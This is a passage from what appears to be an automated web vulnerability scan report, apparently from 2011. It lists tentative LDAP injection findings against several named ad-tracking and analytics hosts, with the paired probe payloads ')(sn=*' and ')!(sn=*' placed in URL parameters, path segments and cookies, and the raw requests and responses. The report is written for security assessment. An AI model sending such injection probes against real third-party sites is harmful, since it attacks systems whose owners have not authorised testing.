GET /bmx3/broker.pli?pid=1d130a381bb27744)(sn=*&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-1303349046

Response 1

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:08 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_1d130a381bb27744)(sn=exp=1&initExp=Tue May 10 13:42:08 2011&recExp=Tue May 10 13:42:08 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:08 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034928; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 9

/*error*/

Request 2

GET /bmx3/broker.pli?pid=1d130a381bb27744)!(sn=*&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-1303349046

Response 2

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:08 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_1d130a381bb27744)!(sn=exp=1&initExp=Tue May 10 13:42:08 2011&recExp=Tue May 10 13:42:08 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:08 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034928; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 9

/*error*/

2.3. http://data.cmcore.com/imp [ci parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://data.cmcore.com
Path:	/imp

Issue detail

The ci parameter appears to be vulnerable to LDAP injection attacks.

The payloads 150267e1551cb568)(sn=* and 150267e1551cb568)!(sn=* were each submitted in the ci parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /imp?tid=17&ci=150267e1551cb568)(sn=*&vn1=4.1.1&vn2=e4.0&ec=UTF-8&cm_mmc=IM_Display-_-x-_-x15off-_-postvday&cm_mmca1=728x90&cm_mmca2=728x90_8F_Interim_finalgif&cm_mmca3=postvday&cm_mmca4=22K&cvdone=s HTTP/1.1
Host: data.cmcore.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CoreID6=70091303843240316067555; TestSess3=x

Response 1

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:53:26 GMT
Server: Apache
P3P: CP="NON DSP COR CUR ADMo DEVo PSAo PSDo OUR IND ONL UNI PUR COM NAV INT DEM STA"
Set-Cookie: 150267e1551cb568)(sn=*_login=13050356060184616714150267e1551cb568)(sn=*; path=/
Set-Cookie: 150267e1551cb568)(sn=*_reset=1305035606;path=/
Expires: Mon, 09 May 2011 19:53:26 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, pre-check=0, post-check=0, private
Pragma: no-cache
Content-Type: image/gif
Content-Length: 43

GIF89a.............!.......,........@..D..;

Request 2

GET /imp?tid=17&ci=150267e1551cb568)!(sn=*&vn1=4.1.1&vn2=e4.0&ec=UTF-8&cm_mmc=IM_Display-_-x-_-x15off-_-postvday&cm_mmca1=728x90&cm_mmca2=728x90_8F_Interim_finalgif&cm_mmca3=postvday&cm_mmca4=22K&cvdone=s HTTP/1.1
Host: data.cmcore.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CoreID6=70091303843240316067555; TestSess3=x

Response 2

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:53:26 GMT
Server: Apache
P3P: CP="NON DSP COR CUR ADMo DEVo PSAo PSDo OUR IND ONL UNI PUR COM NAV INT DEM STA"
Set-Cookie: 150267e1551cb568)!(sn=*_login=13050356060184616714150267e1551cb568)!(sn=*; path=/
Set-Cookie: 150267e1551cb568)!(sn=*_reset=1305035606;path=/
Expires: Mon, 09 May 2011 19:53:26 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, pre-check=0, post-check=0, private
Pragma: no-cache
Content-Type: image/gif
Content-Length: 43

GIF89a.............!.......,........@..D..;

2.4. http://map.media6degrees.com/orbserv/hbjs [vstcnt cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://map.media6degrees.com
Path:	/orbserv/hbjs

Issue detail

The vstcnt cookie appears to be vulnerable to LDAP injection attacks.

The payloads d2e0578dab0d062e)(sn=* and d2e0578dab0d062e)!(sn=* were each submitted in the vstcnt cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /orbserv/hbjs?pixId=5129&pcv=36 HTTP/1.1
Host: map.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://ad.media6degrees.com/adserv/cs?tId=4602020164879145|cb=1305033257|adType=iframe|cId=5902|ec=1|spId=30812|advId=1209|exId=21|price=2.133250|pubId=625|secId=414|invId=3715|notifyServer=asd163.sd.pl.pvt|notifyPort=8080|bid=1.75|srcUrlEnc=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=AC4E503D48FE2CEEC5068B639D61E649; ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt1146caxzt1tr37xzt1tr37xzt1146caxzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15si80183m030k0b50u; rdrlst=43c0pahlkze3o000000023m02157rlklhm40000000f3m03144qlkze3o000000023m02157olkxlm50000000a3m0313y7lkze3o000000023m0215sklkkpqq0000000n3m030hsnlkze3o000000023m0212nslkxrxz000000043m030x1blkkpqq0000000n3m030hsplkkpqq0000000n3m0312gdlkkyy00000000j3m030morlkkxrb0000000k3m0314k6lkxlm50000000a3m030w35lkze3o000000023m0213pylkze3o000000023m0214rwlkxlm50000000a3m0314khlkxlm50000000a3m031196lkkkbe0000000t3m0313x4lkxrxz000000043m031195lkkpqh0000000o3m031194lkkjj40000000u3m030dlxlkb5u20000000y3m0316nulkxlm50000000a3m031193lkkplo0000000q3m030p46lkkpqq0000000n3m031192lkkpke0000000s3m03008slklhm40000000f3m0316oilkxlm50000000a3m030moylkl0r50000000g3m03144elkze3o000000023m0212ftlkxrxz000000043m0310poljyxb4000000153m030e6llkl0r50000000g3m03138olkxrxz000000043m0316dnlkze3o000000023m02167ulkxq41000000053m0314qllkxlm50000000a3m03159olk8fax000000103m0315halkxlm50000000a3m030m0ulkl0r50000000g3m030m0plkkxrb0000000k3m0316e6lkxnbq000000093m0314xnlkxlm50000000a3m03167blkl0r50000000g3m0316dxlkze3o000000023m021391lkxrxz000000043m031672lkkxrb0000000k3m030ycrlkncow0000000e3m03158mlkze3o000000023m020okclkze3o000000023m0213lelkxrxz000000043m0313yolkze3o000000023m02137rlkkpqq0000000n3m030ojulkze3o000000023m021240lkxrxz000000043m0314ozlkxlm50000000a3m0314bmlkxrxz000000043m0314j7lkxlm50000000a3m0314bzlkxlm50000000a3m030ni1lkb5u20000000y3m0311pjlkxrxz000000043m030p01lkze3o000000023m0215holkxlm50000000a3m030m7alkkxrb0000000k3m0313mklkxrxz000000043m030m7flkkyyl0000000i3m03101ulkze3o000000023m020zoklkze3o000000023m0212zglkxrxz000000043m0313lxlkxrxz000000043m030zp4lkze3o000000023m02148ilkxlm50000000a3m030xvclkze3o000000023m0212yxlkxrxz000000043m0315iglkxq0l000000063m0316s2lkxpyu000000073m0314hplkxlm50000000a3m030znmlk3462000000133m0314hclkxlm50000000a3m030wd7lkze3o000000023m02102plkxrxz000000043m0310tylkkpku0000000r3m030p1blkb5u20000000y3m030p1alkze3o000000023m0200bvlk9pe80000000z3m0315xylk60qe000000123m0310lxlkxrxz000000043m03103blkxrxz000000043m0310telkd7nq0000000x3m0316rslkxppm000000083m030c9slk9pe80000000z3m0313mxlkze3o000000023m0212emlkze3o000000023m0210rdlkdkly0000000v3m03126qlkxrxz000000043m030mj2lkkxrb0000000k3m030kualkkpqq0000000n3m03163plkxlm50000000a3m030z9xlkze3o000000023m020m45lkl0r50000000g3m030m40lkkxrb0000000k3m030zqylkxrxz000000043m030mjelkkxrb0000000k3m0312qnlkkplt0000000p3m030ovslkze3o000000023m0212x6lkxrxz000000043m030bo8lkb5u20000000y3m0314e9lkze3o000000023m020mjjlkl0r50000000g3m030lw5lkb5u20000000y3m0316aulkze3o000000023m0215k9lkxlm50000000a3m0316atlkxlm50000000a3m031203lkb5u20000000y3m03163clkxlm50000000a3m031204lkkyy00000000j3m030afqlkze3o000000023m020o0vlkkpqx0000000m3m030z2ilkkxrb0000000k3m0313ovlkxrxz000000043m03; sglst=2280sbpelkxlm50000000a3m030k0a50adsnlkxlm5006bu00a3m030k0a50aarllkxlm5006bu00a3m030k0a50acg5lkxlm5006bu00a3m030k0a50a9rslkkpke0d2dl00s3m030k0b50sam5lkkxr8002zw00l3m030k0b50lcd4lkxlm5006bu00a3m030k0a50acrglkxlm5006bu00a3m030k0a50acnolkxlm5006bu00a3m030k0a50aabelkxlm5006bu00a3m030k0a50add8lkxlm5006bu00a3m030k0a50acy2lkxlm5006bu00a3m030k0a50aaoplkb5u209jqc0063e000j00500cnxlkxlm50000000a3m030k0a50abq3lkxlm5006bu00a3m030k0a50abvplkxlm5006bu00a3m030k0a50aaoilkxlm5006bu00a3m030k0a50a942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm5006bu00a3m030k0a50abvclkxlm5006bu00a3m030k0a50ac5flkxlm5006bu00a3m030k0a50a56blkb5u20mfs300o3l000k00500bjqlkxlm5006bu00a3m030k0a50aawklkxlm5006bu00a3m030k0a50aasulkb5u209jqc0063e000j00500crplkxlm5006bu00a3m030k0a50aasqlkxlm5006bu00a3m030k0a50ac5rlkov6e0000000d3m030k0b50daw8lkxlm5006bu00a3m030k0a50ac60lkxlm5006bu00a3m030k0a50adc4lkxlm5006bu00a3m030k0a50ad26lkxlm5006bu00a3m030k0a50adnjlkxlm5006bu00a3m030k0a50abrilkxlm5006bu00a3m030k0a50acbclkxlm5006bu00a3m030k0a50ac85lkxlm5006bu00a3m030k0a50acsslkxlm5006bu00a3m030k0a50ac80lkb5u209jqc0063e000j00500ag2lkd7nq0m6g700x3m030k0b50uc1elkxlm5006bu00a3m030k0a50ac81lkkpke0cw1r00i3l000k005009grlkxlm5006bu00a3m030k0a50ac8flkxlm5006bu00a3m030k0a50aa6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu00a3m030k0a50a9z6lkxlm50000000a3m030k0a50adbtlkxlm5006bu00a3m030k0a50adyllkxlm5006bu00a3m030k0a50a0kllklhm40c4010053l000k005009q4lkxlm5006bu00a3m030k0a50a9q5lkb5u20mfs300o3l000k00500b3zlkxlm5006bu00a3m030k0a50a0t7ljyxb410gst0153m030k0b50udgflkkpke0d2dl00s3m030k0b50s9mjlkxlm50000000a3m030k0a50abo0lkb5u20mm3x00y3m030k0b50ubo1lkkyy00cmo50093l000k005009pglkxlm5006bu00a3m030k0a50acwalkxlm5006bu00a3m030k0a50ad86lklhm40c4010053l000k00500d84lkxlm5006bu00a3m030k0a50adqllkxlm5006bu00a3m030k0a50adz3lkxlm5006bu00a3m030k0a50acm6lkxlm5006bu00a3m030k0a50acxdlkxlm5006bu00a3m030k0a50a719lkb5u20mm3x00g3m030k0a50b71alkkpke0cw1r00i3l000k00500ctplkxlm5006bu00a3m030k0a50acc3lkxlm5006bu00a3m030k0a50adgilkb5u209jqc0063e000j00500cthlkxlm5006bu00a3m030k0a50a4wclkb5u20mm3x00g3m030k0a50b8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm5006bu00a3m030k0a50aarilkxlm50000000a3m030k0a50abwjlkkyy00cszz00j3m030k0b50jcbplkxlm5006bu00a3m030k0a50a9gelkxlm5006bu00a3m030k0a50a; vstcnt=d2e0578dab0d062e)(sn=*

Response 1

Request 2

GET /orbserv/hbjs?pixId=5129&pcv=36 HTTP/1.1
Host: map.media6degrees.com
Proxy-Connection: keep-alive
Referer: http://ad.media6degrees.com/adserv/cs?tId=4602020164879145|cb=1305033257|adType=iframe|cId=5902|ec=1|spId=30812|advId=1209|exId=21|price=2.133250|pubId=625|secId=414|invId=3715|notifyServer=asd163.sd.pl.pvt|notifyPort=8080|bid=1.75|srcUrlEnc=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=AC4E503D48FE2CEEC5068B639D61E649; ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt1146caxzt1tr37xzt1tr37xzt1146caxzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15si80183m030k0b50u; rdrlst=43c0pahlkze3o000000023m02157rlklhm40000000f3m03144qlkze3o000000023m02157olkxlm50000000a3m0313y7lkze3o000000023m0215sklkkpqq0000000n3m030hsnlkze3o000000023m0212nslkxrxz000000043m030x1blkkpqq0000000n3m030hsplkkpqq0000000n3m0312gdlkkyy00000000j3m030morlkkxrb0000000k3m0314k6lkxlm50000000a3m030w35lkze3o000000023m0213pylkze3o000000023m0214rwlkxlm50000000a3m0314khlkxlm50000000a3m031196lkkkbe0000000t3m0313x4lkxrxz000000043m031195lkkpqh0000000o3m031194lkkjj40000000u3m030dlxlkb5u20000000y3m0316nulkxlm50000000a3m031193lkkplo0000000q3m030p46lkkpqq0000000n3m031192lkkpke0000000s3m03008slklhm40000000f3m0316oilkxlm50000000a3m030moylkl0r50000000g3m03144elkze3o000000023m0212ftlkxrxz000000043m0310poljyxb4000000153m030e6llkl0r50000000g3m03138olkxrxz000000043m0316dnlkze3o000000023m02167ulkxq41000000053m0314qllkxlm50000000a3m03159olk8fax000000103m0315halkxlm50000000a3m030m0ulkl0r50000000g3m030m0plkkxrb0000000k3m0316e6lkxnbq000000093m0314xnlkxlm50000000a3m03167blkl0r50000000g3m0316dxlkze3o000000023m021391lkxrxz000000043m031672lkkxrb0000000k3m030ycrlkncow0000000e3m03158mlkze3o000000023m020okclkze3o000000023m0213lelkxrxz000000043m0313yolkze3o000000023m02137rlkkpqq0000000n3m030ojulkze3o000000023m021240lkxrxz000000043m0314ozlkxlm50000000a3m0314bmlkxrxz000000043m0314j7lkxlm50000000a3m0314bzlkxlm50000000a3m030ni1lkb5u20000000y3m0311pjlkxrxz000000043m030p01lkze3o000000023m0215holkxlm50000000a3m030m7alkkxrb0000000k3m0313mklkxrxz000000043m030m7flkkyyl0000000i3m03101ulkze3o000000023m020zoklkze3o000000023m0212zglkxrxz000000043m0313lxlkxrxz000000043m030zp4lkze3o000000023m02148ilkxlm50000000a3m030xvclkze3o000000023m0212yxlkxrxz000000043m0315iglkxq0l000000063m0316s2lkxpyu000000073m0314hplkxlm50000000a3m030znmlk3462000000133m0314hclkxlm50000000a3m030wd7lkze3o000000023m02102plkxrxz000000043m0310tylkkpku0000000r3m030p1blkb5u20000000y3m030p1alkze3o000000023m0200bvlk9pe80000000z3m0315xylk60qe000000123m0310lxlkxrxz000000043m03103blkxrxz000000043m0310telkd7nq0000000x3m0316rslkxppm000000083m030c9slk9pe80000000z3m0313mxlkze3o000000023m0212emlkze3o000000023m0210rdlkdkly0000000v3m03126qlkxrxz000000043m030mj2lkkxrb0000000k3m030kualkkpqq0000000n3m03163plkxlm50000000a3m030z9xlkze3o000000023m020m45lkl0r50000000g3m030m40lkkxrb0000000k3m030zqylkxrxz000000043m030mjelkkxrb0000000k3m0312qnlkkplt0000000p3m030ovslkze3o000000023m0212x6lkxrxz000000043m030bo8lkb5u20000000y3m0314e9lkze3o000000023m020mjjlkl0r50000000g3m030lw5lkb5u20000000y3m0316aulkze3o000000023m0215k9lkxlm50000000a3m0316atlkxlm50000000a3m031203lkb5u20000000y3m03163clkxlm50000000a3m031204lkkyy00000000j3m030afqlkze3o000000023m020o0vlkkpqx0000000m3m030z2ilkkxrb0000000k3m0313ovlkxrxz000000043m03; sglst=2280sbpelkxlm50000000a3m030k0a50adsnlkxlm5006bu00a3m030k0a50aarllkxlm5006bu00a3m030k0a50acg5lkxlm5006bu00a3m030k0a50a9rslkkpke0d2dl00s3m030k0b50sam5lkkxr8002zw00l3m030k0b50lcd4lkxlm5006bu00a3m030k0a50acrglkxlm5006bu00a3m030k0a50acnolkxlm5006bu00a3m030k0a50aabelkxlm5006bu00a3m030k0a50add8lkxlm5006bu00a3m030k0a50acy2lkxlm5006bu00a3m030k0a50aaoplkb5u209jqc0063e000j00500cnxlkxlm50000000a3m030k0a50abq3lkxlm5006bu00a3m030k0a50abvplkxlm5006bu00a3m030k0a50aaoilkxlm5006bu00a3m030k0a50a942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm5006bu00a3m030k0a50abvclkxlm5006bu00a3m030k0a50ac5flkxlm5006bu00a3m030k0a50a56blkb5u20mfs300o3l000k00500bjqlkxlm5006bu00a3m030k0a50aawklkxlm5006bu00a3m030k0a50aasulkb5u209jqc0063e000j00500crplkxlm5006bu00a3m030k0a50aasqlkxlm5006bu00a3m030k0a50ac5rlkov6e0000000d3m030k0b50daw8lkxlm5006bu00a3m030k0a50ac60lkxlm5006bu00a3m030k0a50adc4lkxlm5006bu00a3m030k0a50ad26lkxlm5006bu00a3m030k0a50adnjlkxlm5006bu00a3m030k0a50abrilkxlm5006bu00a3m030k0a50acbclkxlm5006bu00a3m030k0a50ac85lkxlm5006bu00a3m030k0a50acsslkxlm5006bu00a3m030k0a50ac80lkb5u209jqc0063e000j00500ag2lkd7nq0m6g700x3m030k0b50uc1elkxlm5006bu00a3m030k0a50ac81lkkpke0cw1r00i3l000k005009grlkxlm5006bu00a3m030k0a50ac8flkxlm5006bu00a3m030k0a50aa6slkkpke0cw1r00i3l000k00500dnalkxlm5006bu00a3m030k0a50a9z6lkxlm50000000a3m030k0a50adbtlkxlm5006bu00a3m030k0a50adyllkxlm5006bu00a3m030k0a50a0kllklhm40c4010053l000k005009q4lkxlm5006bu00a3m030k0a50a9q5lkb5u20mfs300o3l000k00500b3zlkxlm5006bu00a3m030k0a50a0t7ljyxb410gst0153m030k0b50udgflkkpke0d2dl00s3m030k0b50s9mjlkxlm50000000a3m030k0a50abo0lkb5u20mm3x00y3m030k0b50ubo1lkkyy00cmo50093l000k005009pglkxlm5006bu00a3m030k0a50acwalkxlm5006bu00a3m030k0a50ad86lklhm40c4010053l000k00500d84lkxlm5006bu00a3m030k0a50adqllkxlm5006bu00a3m030k0a50adz3lkxlm5006bu00a3m030k0a50acm6lkxlm5006bu00a3m030k0a50acxdlkxlm5006bu00a3m030k0a50a719lkb5u20mm3x00g3m030k0a50b71alkkpke0cw1r00i3l000k00500ctplkxlm5006bu00a3m030k0a50acc3lkxlm5006bu00a3m030k0a50adgilkb5u209jqc0063e000j00500cthlkxlm5006bu00a3m030k0a50a4wclkb5u20mm3x00g3m030k0a50b8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm5006bu00a3m030k0a50aarilkxlm50000000a3m030k0a50abwjlkkyy00cszz00j3m030k0b50jcbplkxlm5006bu00a3m030k0a50a9gelkxlm5006bu00a3m030k0a50a; vstcnt=d2e0578dab0d062e)!(sn=*

Response 2

2.5. http://metrics.philly.com/b/ss/phillycom/1/H.17/s67586282941047 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://metrics.philly.com
Path:	/b/ss/phillycom/1/H.17/s67586282941047

Issue detail

The REST URL parameter 1 appears to be vulnerable to LDAP injection attacks.

The payloads 53d4c597f94350b7)(sn=* and 53d4c597f94350b7)!(sn=* were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /53d4c597f94350b7)(sn=*/ss/phillycom/1/H.17/s67586282941047?AQB=1&ndh=1&t=10/4/2011%208%3A11%3A30%202%20300&vmt=498F4D30&ns=phillycom&pageName=article%3A%20news%3A%20Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win%20-%2005/10/2011&g=http%3A//www.philly.com/philly/news/nation_world/121548659.html&cc=USD&ch=news&server=www.philly.com&events=event1%2Cevent4&c1=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&h1=philly%2Cnews%2Cnation_world%2Cindex&v2=article%3A%20news%3A%20Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win%20-%2005/10/2011&h2=philly%2Cphilly%2Cnews%2Cnation_world%2Cindex&c3=Article&v3=news&c4=Inquirer%20Unknown&v4=philly%2Cnews%2Cnation_world%2Cindex&c5=philly%2Cnews%2Cnation_world%2Cindex&v6=First%20Visit&c8=Tuesday&c9=9%3A00AM&c10=Weekday&c11=121548659&v11=www.philly.com&c12=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&v12=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&v13=a&v15=121548659&v16=Article&v17=http%3A//www.philly.com/philly/news/nation_world/121548659.html&v18=logged%20out&c21=First%20Visit&v21=Tuesday&c22=www.philly.com&v22=9%3A00AM&c23=philly%3Anews%3Anation_world&v23=Weekday&c28=New&c29=http%3A//www.philly.com/philly/news/nation_world/121548659.html&c30=logged%20out&c33=flash%2010&c35=silverlight%204.0&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1066&bh=967&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: metrics.philly.com
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; s_ria=flash%2010%7Csilverlight%204.0; undefined_s=First%20Visit; s_nr=1305033090598

Response 1

HTTP/1.1 404 Not Found
Date: Tue, 10 May 2011 14:19:08 GMT
Server: Omniture DC/2.0.0
Content-Length: 454
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /53d4c597f94350b7)(sn=*/ss/phillycom/1/H.17/s67586282941047 was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Omniture DC/2.0.0 Server at metrics.philly.com Port 80</address>
</body></html>

Request 2

GET /53d4c597f94350b7)!(sn=*/ss/phillycom/1/H.17/s67586282941047?AQB=1&ndh=1&t=10/4/2011%208%3A11%3A30%202%20300&vmt=498F4D30&ns=phillycom&pageName=article%3A%20news%3A%20Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win%20-%2005/10/2011&g=http%3A//www.philly.com/philly/news/nation_world/121548659.html&cc=USD&ch=news&server=www.philly.com&events=event1%2Cevent4&c1=Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win&h1=philly%2Cnews%2Cnation_world%2Cindex&v2=article%3A%20news%3A%20Santorum%20goes%20to%20dinner%20and%20comes%20up%20with%20a%20win%20-%2005/10/2011&h2=philly%2Cphilly%2Cnews%2Cnation_world%2Cindex&c3=Article&v3=news&c4=Inquirer%20Unknown&v4=philly%2Cnews%2Cnation_world%2Cindex&c5=philly%2Cnews%2Cnation_world%2Cindex&v6=First%20Visit&c8=Tuesday&c9=9%3A00AM&c10=Weekday&c11=121548659&v11=www.